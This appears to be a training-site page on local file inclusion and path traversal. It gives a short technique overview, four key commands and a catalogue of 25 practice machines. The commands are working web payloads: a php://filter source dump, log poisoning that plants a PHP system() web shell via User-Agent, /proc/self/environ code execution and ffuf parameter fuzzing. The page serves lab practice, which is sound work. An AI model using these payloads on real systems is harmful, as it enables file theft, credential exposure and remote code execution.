LFI and Path Traversal: practice machines and key commands

By Daniel Dayan ยท Updated

Local file inclusion and path traversal let you read, and sometimes execute, files the web server can access. Probe file parameters with ../ sequences, encoded variants and absolute paths, then read /etc/passwd, application source and configuration files to find secrets. In PHP, filter wrappers such as php://filter return source code in base64, which exposes database credentials. To turn a read into code execution, poison a log file or session you can include, abuse /proc/self/environ, or combine it with an upload. Remote file inclusion works only when the server fetches remote URLs, which modern defaults block. Windows targets need backslash and drive-letter variations. Keep notes on which files you can read, because the web root layout often reveals the next step. These boxes use inclusion bugs as the way in.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

PHP Filter Base64 LFI Wrapper

Read source code of PHP scripts through base64 conversion filter.

http://{TARGET_IP}/index.php?page=php://filter/convert.base64-encode/resource=config.php

LFI Log Poisoning via User-Agent

Inject PHP execution payload into web server access log, then include via LFI.

curl -s -A "<?php system(\$_GET['cmd']); ?>" http://{TARGET_IP}/ && curl "http://{TARGET_IP}/index.php?page=/var/log/apache2/access.log&cmd=id"

LFI to RCE via Apache /proc/self/environ

Inject User-Agent payload into environment file for code execution.

curl -s -H "User-Agent: <?php system('id'); ?>" "http://{TARGET_IP}/view.php?file=/proc/self/environ"

ffuf Parameter Discovery (GET/POST)

Fuzz hidden query parameters on target page.

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://{TARGET_IP}/index.php?FUZZ=test" -ac

Keep going

LFI and Path Traversal machines (25)

3 of these are machines I solved myself and are listed first within each difficulty. 22 Linux, 3 Windows.

Listed when a machine has a catalog tag that is one of: lfi, local file inclusion, rfi, directory traversal, path traversal, log poisoning, file inclusion. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.

LFI and Path Traversal at a glance

Very Easy (1)

MachinePlatformOSTags
IncludedLFITFTPHTBLinuxLFI, TFTP

Easy (10)

MachinePlatformOSTags
Beep IppSecHTBLinuxEditor-mapped
Lo-FiLFITHMLinuxLFI
ResponderLFIWinRMResponderHTBWindowsLFI, WinRM, Responder
Alert IppSecLFIMarkdown XSSPort-ForwardingHTBLinuxLFI, Markdown XSS, Port-Forwarding
ArchangelLFILog-PoisoningCronPath-HijackingTHMLinuxLFI, Log-Poisoning, Cron, Path-Hijacking
Backdoor IppSecDirectory-TraversalHTBLinuxDirectory-Traversal
Mailing IppSecDirectory-TraversalLibreOfficeHTBWindowsDirectory-Traversal, LibreOffice
OpenSource IppSecDirectory-TraversalPivotingFile UploadHTBLinuxDirectory-Traversal, Pivoting, File Upload
SkynetLFISambaSquirrelMailCuppa CMSTHMLinuxLFI, Samba, SquirrelMail, Cuppa CMS
TeamLFIBash-ScriptingWildcardsTHMLinuxLFI, Bash-Scripting, Wildcards

Medium (10)

MachinePlatformOSTags
Agile IppSecLFIWerkzeug PINChrome DebuggingPytestHTBLinuxLFI, Werkzeug PIN, Chrome Debugging, Pytest
Bagel IppSecLFISpring Boot.NET DeserializationPivotingHTBLinuxLFI, Spring Boot, .NET Deserialization, Pivoting
Bart IppSecLog-PoisoningEnumerating-subdomainsHTBWindowsLog-Poisoning, Enumerating-subdomains
DogcatLFILog-PoisoningDocker-EscapeTHMLinuxLFI, Log-Poisoning, Docker-Escape
Encoding IppSecLFIPHP FiltersGit HooksHTBLinuxLFI, PHP Filters, Git Hooks
Format IppSecLFINginx TraversalRedisFormat StringHTBLinuxLFI, Nginx Traversal, Redis, Format String
Nineveh IppSecLFIChaining-exploitsHTTPPort-knockingHTBLinuxLFI, Chaining-exploits, HTTP, Port-knocking
WatcherLFIFTPCronSudoTHMLinuxLFI, FTP, Cron, Sudo
Writer IppSecLFIVirtual-HostHTBLinuxLFI, Virtual-Host
ZippingLFIZip-SymlinkSQLiShared-Library-HijackHTBLinuxLFI, Zip-Symlink, SQLi, Shared-Library-Hijack

Hard (2)

MachinePlatformOSTags
Monitors IppSecLFICVE-2020-9496Exploit-modificationJava-DeserializationHTBLinuxLFI, CVE-2020-9496, Exploit-modification, Java-Deserialization
Pikaboo IppSecLFIPerl-function-injectionHTBLinuxLFI, Perl-function-injection

Insane (2)

MachinePlatformOSTags
Fatty IppSecDirectory-TraversalDeserializationSQLiThick-Client-PentestingHTBLinuxDirectory-Traversal, Deserialization, SQLi, Thick-Client-Pentesting
Response IppSecDirectory-TraversalAuthentication-BypassSource-Code-ReviewHTBLinuxDirectory-Traversal, Authentication-Bypass, Source-Code-Review

Related techniques

Related guides: HTB CPTS exam guide, OSCP vs CPTS, HTB Pro Labs guide, HTB vs TryHackMe.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.